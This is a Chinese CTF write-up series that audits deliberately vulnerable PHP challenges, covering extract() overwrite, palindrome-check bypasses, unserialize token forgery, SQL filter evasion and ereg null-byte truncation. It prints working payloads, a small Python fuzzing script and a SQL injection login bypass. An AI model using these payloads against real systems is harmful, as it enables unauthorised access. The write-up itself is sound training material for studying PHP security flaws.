本系列将收集多个PHP代码安全审计项目从易到难,并加入个人详细的源码解读。此系列将进行持续更新。
源码如下
$content=trim(file_get_contents($flag));echo $content;if($shiyan==$content){ echo'ctf{xxx}'; }else{ echo'Oh.no';} }?>
在代码中主要使用了extract函数与file_get_contents函数
在RUNOOB给出的extract函数实例是:
将键值 “Cat”、“Dog” 和 “Horse” 赋值给变量 $a、$b 和 $c:
"Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
运行结果
$a = Cat; $b = Dog; $c = Horse
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
在RUNOOB给出的file_get_contents函数实例是:
运行结果
This is a test file with test text.
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
利用:
利用extract的语法特性使shiyan变量等于flag就可以了
http://localhost/phpbugs/01extract.php?shiyan=&flag
http://localhost/phpbugs/01extract.php?shiyan=&flag=1
源码如下
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txtdie("have a fun!!"); //die — 等同于 exit()}foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式 foreach($global_var as $key => $value) { $value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串}
} function is_palindrome_number($number) { $number = strval($number); //strval — 获取变量的字符串值$i = 0; $j = strlen($number) - 1; //strlen — 获取字符串长度while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true;
} if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{$info="sorry, you cann't input a number!";}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{$info = "number must be equal to it's integer!! "; }
else
{$value1 = intval($req["number"]);$value2 = intval(strrev($req["number"])); //字符串反转if($value1!=$value2){$info="no, this is not a palindrome number!";}else{if(is_palindrome_number($req["number"])){$info = "nice! {$value1} is a palindrome number!"; }else{$info=$flag;}}}echo $info;
通读代码逻辑如下:
首先会判断提交的$_GET数组是否存在number字段,若不存在直接终止当前脚本
然后会遍历$_GET与$_POST数组,若value是字符串将对value进行处理后保存到$req数组
之后会判断提交的number是数字或数字字符串都会终止
判断number若不是整数则终止
接下来会取出number对应的字符串,如果字符串反转后不相等则终止
然后调用is_palindrome_number函数,从字符串的首尾进行遍历判断是否都相等
若不等则输出真正的flag
经过分析需要做其实一共就三件事:
1.绕过number数字判断并输入整数
2.成功通过字符串反转相等的校验
3.避开is_palindrome_number函数的相等校验
针对1我们可以利用%00截断符进行绕过
针对2、3我们可以使用\f换页符(%0C)或者+(%2B)进行绕过
因为intval和is_numeric都会忽略这两个个字符,因为字符串首末遍历不相等又成功绕过is_palindrome_number
同时也可以写脚本fuzz出%0C或%2B进行绕过
import requestsfor i in range(256):rq = requests.get("http://127.0.0.1/phpbugs/02.php?number=%s121"%("%00"+"%%%02X"%i))if 'x' in rq.text:print ("%%%02X" % i)
最后结果
ps:这题官方给的答案是错的,网上给的也是错的,麻烦别直接拿给的答案来抄好吗?大家不要被误导了
源码如下:
public $where;function __wakeup(){if(!empty($this->where)){$this->select($this->where);}}function select($where){$sql = mysql_query('select * from user where '.$where);//函数执行一条 MySQL 查询。return @mysql_fetch_array($sql);//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false}}if(isset($requset['token']))//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。{$login = unserialize(gzuncompress(base64_decode($requset['token'])));//gzuncompress:进行字符串压缩//unserialize: 将已序列化的字符串还原回 PHP 的值$db = new db();$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。if($login['user'] === 'ichunqiu'){echo $flag;}else if($row['pass'] !== $login['pass']){echo 'unserialize injection!!';}else{echo "(╯‵□′)╯︵┴─┴ ";}}else{header('Location: index.php?error=1');}?>
通读代码逻辑如下:
首先是将$_GET,$_POST,$_SESSION,$_COOKIE合并为一个数组$request
然后有一个db类,它会判断类中的变量where是否为空,若不为空则调用select方法根据where条件进行查询user表返回一个数组
然后判断$request数组中是否有存在token,若不存在直接返回index.php报错,若存在则先对该值进行base64加密(base64_decode),再进行字符串压缩(gzuncompress),再进行反序列化(unserialize)最后赋值给$login
之后取出$_login中的user作为where条件user=$login[user]通过db的select进行查询结果赋值给$row
如果$login[user]与ichunqiu字符串完全相等则输出flag(成功结果),若$row[pass]不等于$login[pass]则输出反序列化失败,其他情况则输出一段字符串
需要我们做的其实就是:
反解密ichunqiu,然后提交token就可以了
网上的错误
答案:
麻烦自己打印下看看真的相等吗
print($arr['user'] === 'ichunqiu');
正确答案:
"ichunqiu");
$token = base64_encode(gzcompress(serialize($login)));
print($token);
echo '';
print($login['user'] === 'ichunqiu');
结果验证:
因为这题代码和数据库没给完整,为了验证结果简化代码如下
$login = unserialize(gzuncompress(base64_decode($requset['token'])));if($login['user'] === 'ichunqiu'){echo $flag;}else{echo "(╯‵□′)╯︵┴─┴ ";}}else{header('Location: index.php?error=1');}?>
错误答案获得的token
eJxLtDK0qs60MrBOAuJaAB5uBBQ=
正确答案获得的token
eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
源码如下
echo ''."
";echo ''."
";die;
}function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){//检测变量是否是数组$StrValue=implode($StrValue);//返回由数组元素组合成的字符串}if (preg_match("/".$ArrReq."/is",$StrValue)==1){ //匹配成功一次后就会停止匹配print "水可载舟,亦可赛艇!";exit();}
}$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ //遍历数组AttackFilter($key,$value,$filter);
}$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);//设置活动的 MySQL 数据库$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); //执行一条 MySQL 查询if (mysql_num_rows($query) == 1) { //返回结果集中行的数目$key = mysql_fetch_array($query);//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 falseif($key['pwd'] == $_POST['pwd']) {print "CTF{XXXXXX}";}else{print "亦可赛艇!";}
}else{print "一颗赛艇!";
}
mysql_close($con);
?>
通读代码逻辑如下:
首先是写了一个表单POST提交uname与pwd
接下来遍历$_POST数组调用AttackFilter方法,传入key:value参数与filter
AttackFilter会首先判断传入的value是不是数组,若为数组则将多个元素合成一个字符串重新赋值给传入的value
然后对value进行正则匹配匹配规则为filter,如果匹配成功脚本停止
在之后会连接数据库,根据提交的uname进行查询
如果返回结果集中行的数目等于1,则返回从结果集取得的行生成的数组key
如果数组key中的pwd字段等于表单提交的pwd字段则获得flag其他情况均失败
我们需要做的其实就是:
1.绕过filter
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"
2.使表单提交的pwd等于查询到返回的pwd
SQL语句:
SELECT * FROM interest WHERE uname = '{$_POST['uname']}'
进行绕过
SELECT * FROM interest WHERE uname = 'admin' GROUP BY pwd WITH ROLLUP LIMIT 1 OFFSET 1-- -'
也就是说使用以下语句登录用户时,密码为空就可以成功绕过
admin' GROUP BY pwd WITH ROLLUP LIMIT 1 OFFSET 1-- -'
此题需要了解的SQL主要是以下这段SQL
WITH ROLLUP LIMIT 1 OFFSET 1
首先是WITH ROLLUP,用在group up后会统计所有结果并返回NULL
再看LIMIT 1 OFFSET 1,是取一条数据从第一条数据后开始取,也就是取第二条数据
等同于LIMIT 1,1,但因为过滤了,所以用OFFSET来进行绕过
源码如下
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){echo 'You password must be alphanumeric
';}else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置{die('Flag: ' . $flag);}else{echo('*-* have not been found
'); }}else {echo 'Invalid password
'; }}
?>
通读代码逻辑如下:
首先判断是否存在GET请求的password字段,如果存在继续进行
然后对password进行正则匹配如果password是大小写字母或数字则进行否则输出停止
然后对password的长度进行判断,如果长度小于8数值大于9999999则继续进行
之后利用strops函数查找* - *在字符串中首次出现的位置,如果找到了则输出flag
我们需要做的:
1.password使用大小写字母及数字
2.password长度小于8 数值大于9999999
3.password中存在* - *
这里面的条件都是互相矛盾的,在满足1的条件下条件2用科学计数法1e7也就是10的7次方进行绕过。条件2利用ereg的00%截断符进行绕过,经过分析payload如下
?password=1e7%00*-*